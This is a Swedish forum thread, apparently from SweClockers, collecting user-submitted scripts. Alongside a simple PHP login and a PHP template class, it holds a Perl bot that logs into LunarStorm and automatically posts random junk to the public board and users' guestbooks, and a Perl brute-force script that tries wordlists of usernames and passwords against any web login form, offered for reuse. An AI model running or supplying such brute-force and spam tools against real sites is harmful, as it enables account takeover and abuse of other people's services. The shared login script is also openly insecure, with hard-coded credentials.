Permalänk

Script arkivet

Hej jag tänkte att det vore vättigt att skapa ett scriptarkiv så folk kan leta efter de scripts som de behöver här,

så jag börjar väll lägga upp ett som en mall ur det ska se ut.

login
en mycket enkel login i PHP

login.php

<html> <head> <title>login</title> </head> <body bgcolor="ghostwhite" text="black"> <form action="check.php" method="post"> Användare:<br> <input type="text" id="anv" name="anv"><br> Pass:<br> <input type="password" id="losen" name="losen"><br> <input type="submit" value="Logga in"> </form> </body> </html>

Check.php

<?php $an = 'admin'; $los = 'blagg'; $losen = $_POST['losen']; $anv = $_POST['anv']; if ($losen === $los && $anv === $an){ header ('location: admin.html'); } else { echo "Fel användare eller lösenord!"; } ?>

admin.html

här har du allt det ska vara när du har loggat in :)

denna script är ej speciellt säker tyvärr

Permalänk

lunarstorm bot

#!/usr/bin/perl -w use WWW::Curl::Easy; my $curl = new WWW::Curl::Easy; $username = ''; $password = ''; $userid = ''; sub body_callback { my ($chunk,$context)=@_; push @{$context}, $chunk; return length($chunk); # OK } sub POST { my ($site,$data) = @_; my @body; $curl->setopt(CURLOPT_WRITEFUNCTION, \&body_callback); $curl->setopt(CURLOPT_FILE, \@body); $curl->setopt(CURLOPT_HEADERFUNCTION, \&body_callback); $curl->setopt(CURLOPT_WRITEHEADER, \@header); $curl->setopt(CURLOPT_URL, $site); #$curl->setopt(CURLOPT_RETURNTRANSFER,1); $curl->setopt(CURLOPT_FOLLOWLOCATION,1); $curl->setopt(CURLOPT_COOKIEJAR,"cook"); $curl->setopt(CURLOPT_COOKIEFILE,"cook"); $curl->setopt(CURLOPT_POST,1); $curl->setopt(CURLOPT_POSTFIELDS,$data); $curl->perform; my $err = $curl->errbuf; my $info = $curl->getinfo(CURLINFO_HTTP_CODE); return join("",@body); } sub GET { my ($site) = @_; my @body; $curl->setopt(CURLOPT_WRITEFUNCTION, \&body_callback); $curl->setopt(CURLOPT_FILE, \@body); $curl->setopt(CURLOPT_URL, $site); #$curl->setopt(CURLOPT_RETURNTRANSFER,1); $curl->setopt(CURLOPT_FOLLOWLOCATION,1); $curl->setopt(CURLOPT_COOKIEJAR,"cook"); $curl->setopt(CURLOPT_COOKIEFILE,"cook"); $curl->perform; my $err = $curl->errbuf; my $info = $curl->getinfo(CURLINFO_HTTP_CODE); return join("",@body); } sub LOGIN { my ($data) = "username=$username&password=$password"; &POST('http://www.lunarstorm.se/log/log_login.asp',$data); &GET('http://www.lunarstorm.se/log/log_inside.asp?status=login&clus...'); &GET('http://www.lunarstorm.se/top/top_inside.asp'); print ("Loggar in! \n"); } sub KLOTTER { print("Påbörjar skrivning på klotterplanket"); @slump = ("bajs","kiss"); # LÄGG TILL SAKER SOM BOTEN SKA SLUMPA FRAM OCH SKRIVA $fraser = @slump; &LOGIN; $body= &GET('http://www.lunarstorm.se/bbs/bbs_main.aspx'); $body =~ m/name="userid".*value="(.*?)"/; print ($1); my ($data) = "body=".$slump[int( rand($fraser-1) )]."&userid=$1"; &POST('http://www.lunarstorm.se/bbs/bbs_main.aspx',$data); print("Medelande skickat! \n "); } sub GASTBOK { open(FRASER,'/usr/home/psycho/perl-scripts/lunarbot/fraslista'); $i = 0; while($line = <FRASER>) { $fraser[$i] = $line; $i++; } my ($data) ='__EVENTTARGET=sendGuestbook%3A_ctl7%3AbtnSendNimo%3AbtnSendNimo_a&__EVENTARGUMENT=&__VIEWSTATE= dDw4ODg1OTY3MTg7dDxwPGw8ZmM7Y3A7b3U7cGk7b2k7bG9hZENvdW50O3NtO21sO2hwO3VuO21jOz47bDxTeXN0ZW0uQnl0 ZSwgbXNjb3JsaWIsIFZlcnNpb249MS4wLjUwMDAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1 NjE5MzRlMDg5PDI%2BOzUwPDE%2BO288Zj47NTA8MD47U3lzdGVtLkd1aWQsIG1zY29ybGliLCBWZXJzaW9uPTEuMC41MDAw LjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OTxkOTVmZGU2OC01MDk2LTRiMTgtY jYzZS1iNmI5N2U4MjM4YjU%2BO2k8MT47XGU7aTwyMzgxPjtvPGY%2BO01hcmlhYm9vYmVuO2k8MjM4Mj47Pj47bDxpPDA%2BOz47 bDx0PDtsPGk8MT47PjtsPHQ8O2w8aTwzPjs%2BO2w8dDw7bDxpPDEzPjs%2BO2w8dDxwPHA8bDxGYXZvcml0ZXM7VmlzaWJsZTs%2BO2 w8NTA8MD47bzx0Pjs%2BPjs%2BOzs%2BOz4%2BOz4%2BOz4%2BOz4%2BOz7kdBQ5YbQ1BJHNEGdI5PecOdL8UQ%3D%3D &sendGuestbook%3AtxtMessage='.$fraser[int( rand($count=@fraser-1) )].'&sendGuestbook%3AhidTheme='; LOGIN; $body = GET('http://www.lunarstorm.se/gst/gst_guestbook.aspx'); @lines = split("\n",$body); foreach $line (@lines) { if($line =~ /javascript:WriteMessage\((\d+),'{(.*?)}','(\w+?)'.*javascript:ConfirmDelete\('(.*?)'/) { sleep(3); &GET('http://www.lunarstorm.se/usr/gst_guestbook.asp'); print ("Besvarar inlägg! \n"); &POST('http://www.lunarstorm.se/gst/gst_guestbook.aspx?userid={'.$2.'}&flashrnd=0.48516145736158656',$data); #print('2:http://www.lunarstorm.se/gst/gst_delete.aspx?userid='.$4.'&guestnr='.$1.'&username='.$3. "\n"); print("Inlägg skrivit! \n"); #print("http://www.lunarstorm.se/gst/gst_delete.aspx?userid=$4&guestn..."); &GET('http://www.lunarstorm.se/usr/gst_guestbook.asp'); print('1:http://www.lunarstorm.se/gst/gst_delete.aspx?userid='.$4.'&guestnr='.$1.'&username='.$3. "\n"); print ("Raderar inlägg!\n"); &GET('http://www.lunarstorm.se/gst/gst_delete.aspx?userid='.$4.'&guestnr='.$1.'&username='.$3); } } }

Som ni ser är det bara några funktioner för att kunna skriva till folks gästböcker och till klotterplanket.

Tveksamt om någon har nytta av det här, otydlig och dålig kod, men man ser lite hur lunar-systemet funkar(om man undviker all bs)

enkel perl-brute forcer till formulär för att finna både anv och pw.(där endast anv och pw behövs)

wordlist syntax:

anv:pw
anv:pw
etc...

#!/usr/local/bin/perl -w use IO::Socket; use strict; my $host = ''; my $addr = ''; my $stop = ''; #stanna när ett speciellt regex är uppnått. my (@user,@password,$response,$user); my $wordlist = ''; # sökvägen till wordlist my $postpath = ''; #sökväg till postscriptet med / som början my ($postname,$postpw) = ('',''); # namnen på post-formuläret t ex #användarnamn och lösenord sub POST { my $sock = new IO::Socket::INET (PeerAddr =>$addr, PeerPort => 80, Proto => 'tcp'); die $! unless $sock; my ($body); my ($site,$data) = @_; my $headerdata = "POST $site HTTP/1.0\r\nHost: $host\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".length($data)."\r\n\r\n$data"; print $sock ($headerdata); while(<$sock>) { $body .= $_; } return $body; close $sock; } open(FILE,$wordlist); my ($i,$j) = (0,0); while(<FILE>) { chop $_; ($user[$i],$password[$j])= split(/:/,$_); $i++; $j++; } foreach $user (@user) { print "Brutar $user\n"; for($i=0;$i<@password;$i++) { $response = POST(,"$postanv=$user&$postpw=$password[$i]"); print $i."\n"; if($response !~ /$stop/) { die($user.':'.$password); } } print "Klar,byter användare\n"; }

Visa signatur

Asus Maximus II formula, E8400 @ 3.9GHz, 4GB Dominator DDR2, Radeon HD4850.

Permalänk

Skitbra idé!!
Detta är ovärdeligt för många av oss här inne!

Jag lägger till ett dumpscript med upload till samlingen.
http://forum.sweclockers.com/showthread.php?s=&threadid=51562...

Har även ett galleriscript och ett simpelt filediting-script på G om jag bara får tummen ur.

Visa signatur

-Jag har visst vart ute idag.
-Vart då?
-Ne, jag öppnade fönstret förut...
www.iampear.com Hakona Matata!

Permalänk
Medlem

Simpel template-class i PHP5

template.class.php

<?php class Template { protected $template_file; public $change_array; function __construct($file) { $this -> template_file = $file; } function parse($value = array()) { $this -> change_array = $value; } function output() { if(isset($this -> change_array)) { extract($this -> change_array); } ob_start(); include($this -> template_file); $value = ob_get_contents(); ob_end_clean(); return $value; } } ?>

Index.php

<?php include('template.class.php'); $head_lang = array('title' => 'Min template-sida'); $head = New Template('head.tpl'); $head -> parse($head_lang); $content_lang = array('meny' => 'The menu!'); $content = New Template('content.tpl'); $content -> parse($content_lang); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html> <head> <?php echo $head -> output(); ?> </head> <body> <?php echo $content -> output(); ?> </body> </html>

head.tpl

<title><?php echo $title; ?></title>

eller vilken annan (x)html- eller phpkod du nu vill ha..

content.tpl

<b><?php echo $meny; ?></b>

likadant här..

Aja, det var ett simpelt skript. Har använt det när jag skrivit en blogg (som aldrig blir klar).

Permalänk
Medlem

Är det inte ganska dumt att göra det i en tråd som detta?
Antingen får du ta och göra en samlingstråd och sen en tråd om varje script, eller så får du göra en hemsida och samla alla scripten.
Jag tvivlar på att någon sitter och letar igenom ett antal sidor för att se om just de scriptet han vill ha finns där.

Visa signatur
Permalänk
Medlem
Citat:

Ursprungligen inskrivet av ZuqR
Är det inte ganska dumt att göra det i en tråd som detta?
Antingen får du ta och göra en samlingstråd och sen en tråd om varje script, eller så får du göra en hemsida och samla alla scripten.
Jag tvivlar på att någon sitter och letar igenom ett antal sidor för att se om just de scriptet han vill ha finns där.

Håller med, kommer bli grymt rörigt. Speciellt när detta forumet inte har någon sökfunktion för inlägg i trådar -.-
En wiki kanske vore något

Permalänk
Medlem

Ett index i första inlägget löser problemet.